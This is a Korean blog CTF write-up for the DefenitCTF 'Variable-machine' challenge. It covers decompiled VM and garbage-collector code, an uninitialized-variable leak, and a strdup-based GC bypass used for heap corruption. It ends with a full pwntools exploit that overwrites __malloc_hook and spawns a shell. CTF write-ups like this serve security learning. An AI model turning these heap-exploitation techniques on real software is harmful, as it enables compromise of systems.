본문으로 바로가기

DefenitCTF Variable-machine

Concept

원하는 자료형(int, char, string)의 변수를 Allocate, Delete, Edit, Print, Operate, Concat 할 수 있는 프로그램을 VM으로 구현한 바이너리.


Analysis

동작 방식 : Code입력 -> (getOpcode -> startVM) 반복 -> 종료


initProgram()

__int64 initProgram()
{
 pthread_t newthread; // [rsp+18h] [rbp-8h]

 setvbuf(stdin, 0LL, 2, 0LL);
 setvbuf(stdout, 0LL, 2, 0LL);
 if ( pthread_create(&newthread, 0LL, initGclist, 0LL) < 0 )
   exit(-1);
 pthread_detach(newthread);
 return 0LL;
}

버퍼 세팅 후 pthread_create함수로 스레드를 생성한다. 이 쓰레드가 생성되면서 바이너리와 initGclist함수가 같이 작동하게 된다.


initList()

void __noreturn initList()
{
 garbage *start; // [rsp+0h] [rbp-10h]

 list = calloc(1uLL, 0x18uLL);
 list->ptr = "HEAD";
 list->ref = -2;
 while ( 1 )
{
   start = list;
   while ( start )
  {
     if ( start->ref )
    {
       start = start->next;
    }
     else
    {
       free(start->ptr);
       start->ref = -1;
    }
  }
}
}

대충 보면 링크드리스트로 구현되어있고, 기본적으로 list->ref를 -2로 설정해두는 모습이다.

만약, start->ref가 1이면 start = start -> next로 링크드리스트의 다음 노드를 가르키고, ref가 0일 경우네는 free시켜주고 ref-1로 설정해준다.

정리 : VM을 동작시키면서 메모리를 Garbage Collecter로 관리함. 신경써야할 부분은 ref가 0이 될때 free된다는 점.

이렇게 GC까지 설정해주었으면 이제 페이로드를 입력받는다.

size = readStr(heapPtr, 0x2000);

아래부터는 VM이 인자를 파싱하는 부분이다.


getOpcode()

signed __int64 getOpcode()
{
 __int64 v0; // rdx
 signed int v1; // eax
 signed int v2; // eax
 unsigned int v3; // ST20_4
 signed int v4; // eax
 signed int v5; // eax
 unsigned int argv1; // ST20_4
 signed int v7; // eax
 unsigned int atgv3; // ST20_4
 signed int v9; // eax
 int v11; // [rsp+14h] [rbp-18h]
 int v12; // [rsp+18h] [rbp-14h]

 v0 = code[0];
 ++code[0];
 v12 = *(argv + v0);
 v11 = *(argv + v0);
 if ( v12 == 1 )
   goto LABEL_9;
 switch ( v11 )
{
   case 2:
     goto LABEL_14;
   case 3:
     v2 = code[0]++;
     v3 = ((v12 << 24) & 0xFF00FFFF) + (*(argv + v2) << 16);
     v4 = code[0]++;
     return (v3 & 0xFFFF00FF) + (*(argv + v4) << 8);
   case 4:
LABEL_14:
     v1 = code[0]++;
     return ((v12 << 24) & 0xFF00FFFF) + (*(argv + v1) << 16);
}
 if ( (v11 - 5) < 2 )
{
LABEL_9:
   v5 = code[0]++;
   argv1 = ((v12 << 24) & 0xFF00FFFF) + (*(argv + v5) << 16);
   v7 = code[0]++;
   atgv3 = (argv1 & 0xFFFF00FF) + (*(argv + v7) << 8);
   v9 = code[0]++;
   return (atgv3 & 0xFFFFFF00) + *(argv + v9);
}
 return 0LL;
}

뭔가 복잡한 모습. switch문에 들어가는 v11은 우리가 입력한 heapPtr의 첫번째 문자가 들어간다. 만약 2,4일때는 인자를 한개, 3일때는 두개, 1,5,6일때는 3개를 설정해준다. 디게 복잡한 연산을 사용한다.


startVm()

__int64 __fastcall startVm(__int64 opcode)
{
 unsigned int returnValue; // [rsp+1Ch] [rbp-4h]

 switch ( BYTE3(opcode) )
{
   case 1uLL:
     if ( variableAllocate(opcode) )
       goto LABEL_21;
     returnValue = 0;
     break;
   case 2uLL:
     if ( variableDelete(opcode) )
       goto LABEL_21;
     returnValue = 0;
     break;
   case 3uLL:
     if ( variableEdit(opcode) )
       goto LABEL_21;
     returnValue = 0;
     break;
   case 4uLL:                                  // print value
     if ( variablePrint(opcode) )
       goto LABEL_21;
     returnValue = 0;
     break;
   case 5uLL:
     if ( variableOperate(opcode) )
       goto LABEL_21;
     returnValue = 0;
     break;
   case 6uLL:
     if ( variableConcat(opcode) )
LABEL_21:
       returnValue = 1;
     else
       returnValue = 0;
     break;
   default:
     returnValue = 0;
     break;
}
 return returnValue;
}

인자 세팅도 끝났겠다 본격적으로 VM이 돌아가기 시작한다. 일단 눈여겨보아야 할 부분은 BYTE3(opcode) 요기인데, 기본적으로 아이다에서는 12 34 56 78이라는 메모리에서 78만을 가져오기 위하여 BYTE(memory)라고 표기하고, 56만을 가져오려면 BYTE1(memory)라고 표기한다. 결국 BYTE3이란 뜻은 4바이트중 최상위 한바이트를 가져오겠다는 이야기이다.


즉, 위에서 무슨 복잡한 연산을 했든 결국 우리가 입력한대로 VM이 작동한다. 뭐 그냥 암호문을 암호화시키고 복호화시키는 느낌. 세팅한 인자들도 결국 함수 내부에서 우리가 입력한대로 복호화 된 후에 함수에 인자로 들어가게 된다.


Vulnerability

variableOperate()

if ( !strcmp(*variablePtr[v4], "INT") && !strcmp(*variablePtr[a1], "INT") )
{
   switch ( v5 )
  {
     case 1:
       v3 = &variablePtr[v4][1][variablePtr[a1][1]];
       break;
     case 2:
       v3 = variablePtr[v4][1] - variablePtr[a1][1];
       break;
     case 3:
       v3 = variablePtr[a1][1] * variablePtr[v4][1];
       break;
     case 4:
       if ( variablePtr[a1][1] )
         v2 = variablePtr[v4][1] / variablePtr[a1][1];
       else
         v2 = variablePtr[v4][1];
       v3 = v2;
       break;
  }
   variablePtr[v4][1] = v3;
   v6 = 1;
}

일단 첫번째 취약점은 variableOperate함수에 있다. 이 함수는 INT형의 변수들을 +,-,*,/를 각각 1,2,3,4라고 설정하고 연산을진행하게 된다. 하지만 만약 5를 입력하게 된다면, 아무런 연산도 하지 않고 그냥 variablePtr[v4][1] = v3;요렇게 값을 넣어버린다.


즉, 초기화되지않은 v3변수가 variablePtr에 들어간다. 이렇게 pieleak할 수 있다.


variableAllocate()

__int64 __fastcall sub_D80(int a1)
{
 int v2; // [rsp+Ch] [rbp-14h]

 v2 = (*&a1 & 0xFF0000uLL) >> 16;
 if ( !variablePtr[v2] )
{
   variablePtr[v2] = sub_1A60(1, 16);
   *variablePtr[v2] = (&off_2030A0)[((a1 & 0xFF00) >> 8) % 3];
   if ( !strcmp(*variablePtr[v2], "INT") )
  {
     variablePtr[v2][1] = a1;
  }
   else if ( !strcmp(*variablePtr[v2], "STRING") )
  {
     variablePtr[v2][1] = sub_1A60(1, 16);
     *(variablePtr[v2][1] + 1) = a1;
     *variablePtr[v2][1] = sub_1A60(a1, 1);
  }
   else
  {
     if ( strcmp(*variablePtr[v2], "CHAR") )
       return 0;
     *(variablePtr[v2] + 8) = a1;
  }
   return 1;
}
 return 0;
}

두번째 취약점이 핵심적이라고 볼 수 있다. 일단 두번째 취약점을 설명하기 전에 variableAllocate함수에서 어떤식으로 변수를 할당하는지 알아보자.

만약 변수가 STRING형이면 아래와 같이 할당된다.

[STRING]
char *type ---> "STRING"
stringStruct string ---> char *value ---> "HELLO"
                 |
                 ---> int size ---> strlen(string->value)

추가로, string변수를 관리하기 위한 GC node도 추가로 할당된다.


variableConcat()

__int64 __fastcall variableConcat(__int64 a1)
{
 size_t v1; // rax
 char *v2; // rax
 const char *v3; // ST40_8
 const char *v4; // ST38_8
 char *v5; // ST30_8
 signed __int64 v6; // rsi
 char s; // [rsp+4Fh] [rbp-21h]
 char v9; // [rsp+52h] [rbp-1Eh]
 char v10; // [rsp+53h] [rbp-1Dh]
 int v11; // [rsp+54h] [rbp-1Ch]
 int v12; // [rsp+58h] [rbp-18h]
 int v13; // [rsp+5Ch] [rbp-14h]
 __int64 v14; // [rsp+60h] [rbp-10h]
 unsigned int v15; // [rsp+6Ch] [rbp-4h]

 v14 = a1;
 v13 = (a1 & 0xFF0000uLL) >> 16;
 v12 = (a1 & 0xFF00) >> 8;
 v11 = a1;
 if ( variablePtr[v12] )
{
   if ( variablePtr[v11] )
  {
     if ( v13 == 1 )
    {
       if ( strcmp(*variablePtr[v12], "CHAR") || strcmp(*variablePtr[v11], "CHAR") )
         return 0;
       v10 = *(variablePtr[v12] + 8);
       v9 = *(variablePtr[v11] + 8);
       snprintf(&s, 3uLL, "%c%c", v10, v9);
       *variablePtr[v12] = "STRING";
       variablePtr[v12][1] = sub_1A60(1, 16);
       v1 = strlen(&s);
       *(variablePtr[v12][1] + 1) = v1;
       v2 = strdup(&s);
       *variablePtr[v12][1] = v2;
    }
     else
    {
       if ( v13 != 2 )
         return 0;
       if ( strcmp(*variablePtr[v12], "STRING") || strcmp(*variablePtr[v11], "STRING") )
         return 0;
       v3 = variablePtr[v12][1];
       v4 = variablePtr[v11][1];
       v5 = sub_1A60(*(v4 + 2) + *(v3 + 2) + 1, 1);
       v6 = *(v4 + 1) + *(v3 + 1) + 1LL;
       snprintf(v5, v6, "%s%s", *v3, *v4);
       sub_1B00(*variablePtr[v12][1], v6);
       *(variablePtr[v12][1] + 1) = strlen(v5);
       *variablePtr[v12][1] = v5;
    }
     return 1;
  }
   v15 = 0;
}
 else
{
   v15 = 0;
}
 return v15;
}

하지만 위의 variableConcat함수에서는 살짝 예외가 발생하는데, CHAR + CHAR = STRING이 되는 과정에서 strdup함수를 사용하여 힙포인터를 할당한다. 하지만, 위에서 설명했듯이 원래 STRING 타입의 변수를 할당하려면 해당 변수를 관리하기위한 GC node까지 같이 할당해주는 함수를 사용해준다.

근데 여기서는 strdup을 사용하여 STRING type변수를 할당해준다. 이로인해서 GC 동작에 오류가 생기게 되며, 이를 통해서 free된 청크의 fd를 덮을 수 있다.


Exploit

취약점 찾는 시간보다 익스하는 시간이 더 오래걸림.

ASLR을 끄고 익스했기때문에 힙 1byte브포가 필요하다. 특이점은 libc내에 __malloc_hook을 가르키는 변수가 있길래 이걸로 익스했다.

from pwn import *

#context.log_level = "DEBUG"

binary = "./main"
e = ELF(binary)
libc = e.libc
r = process(binary, aslr = False)

def senddata(payload):
sleep(0.2)
r.send(payload)

ALLOCATE = lambda index,tp,data : p8(1) + p8(index) + p8(tp) + p8(data)
DELETE = lambda index : p8(2) + p8(index)
EDIT = lambda index,data : p8(3) + p8(index) + p8(data)
PRINT = lambda index : p8(4) + p8(index)
OPERATE = lambda tp,index1,index2 : p8(5) + p8(tp) + p8(index1) + p8(index2)
CONCAT = lambda tp,index1,index2 : p8(6) + p8(tp) + p8(index1) + p8(index2)

CHARINT = lambda char : ord(char)

INT = 0
STRING = 1
CHAR = 2

CONCATCHAR = 1
CONCATSTRING = 2

payload = ""
payload += ALLOCATE(0x0,INT,0x11)
payload += ALLOCATE(0x1,INT,0x22)
payload += OPERATE(5,0x0,0x1)
payload += PRINT(0x00)

payload += ALLOCATE(0x10,CHAR,CHARINT("A"))
payload += ALLOCATE(0x11,CHAR,CHARINT("B"))
payload += ALLOCATE(0x12,STRING,0x40)
payload += ALLOCATE(0x13,CHAR,CHARINT("C"))
payload += ALLOCATE(0x14,CHAR,CHARINT("D"))
payload += ALLOCATE(0x15,STRING,0x40)
payload += EDIT(0x12,0x40)
payload += EDIT(0x15,0x40)

payload += CONCAT(CONCATCHAR,0x10,0x11)
payload += CONCAT(CONCATCHAR,0x13,0x14)
payload += CONCAT(CONCATSTRING,0x10,0x12)
payload += CONCAT(CONCATSTRING,0x13,0x15)

payload += ALLOCATE(0x21,STRING,0x60)
payload += ALLOCATE(0x22,STRING,0x60)
payload += EDIT(0x21,0x60)
payload += EDIT(0x13,0x2)
payload += ALLOCATE(0x23,STRING,0x40)

payload += ALLOCATE(0x24,STRING,0x40)
payload += EDIT(0x24,0x40)
payload += PRINT(0x22)
payload += EDIT(0x24,0x40)
payload += EDIT(0x22,0x8)

payload += ALLOCATE(0x25,STRING,0x40)

r.recvuntil("Code :> ")
r.send(payload)

pause()

r.recvuntil("[INT 0 : ")
pie = int(r.recv(14),10) - 0xe32
log.info("pie : " + hex(pie))

sleep(0.5)

senddata("!" * 0x40)
senddata("@" * 0x40)

senddata("X" * 0x58 + p64(0x51))
senddata("\x10\xa7")

senddata(p64(pie + 0x2030D0 + 0x8 * 0x10) * 6 + p64(pie + 0x1E40) + p64(pie + 0x202fd0))

r.recvuntil("[STRING 34 : ")
l = u64(r.recvuntil("\x15")[-6:] + "\x00\x00") - libc.symbols["_IO_2_1_stdout_"]
log.info("libc base : " + hex(l))

senddata(p64(pie + 0x2030D0 + 0x8 * 0x10) * 6 + p64(pie + 0x1E40) + p64(l + 0x3c3ef0))
senddata(p64(l + 0xf1147))

r.interactive()

juntae@ubuntu:~/ctf/DefenitCTF$ p ex.py 
[*] '/home/juntae/ctf/DefenitCTF/main'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:       NX enabled
  PIE:     PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[+] Starting local process './main': pid 4541
[!] ASLR is disabled!
[*] Paused (press any to continue)
[*] pie : 0x555555554000
[*] libc base : 0x155554d47000
[*] Switching to interactive mode
$ id
uid=1000(juntae) gid=1000(juntae) groups=1000(juntae)


'System Hacking ( pwnable ) > CTF Write-up' 카테고리의 다른 글

[RCTF] vm ( write - up )  (0) 2020.06.10
[RCTF] bf ( write-up )  (0) 2020.06.02
[d^ctf] babyrop ( write-up )  (0) 2020.02.27
[codegate] 7amebox1 ( write-up )  (0) 2020.02.26
[HITCON] children_tcahce ( write-up )  (0) 2019.12.18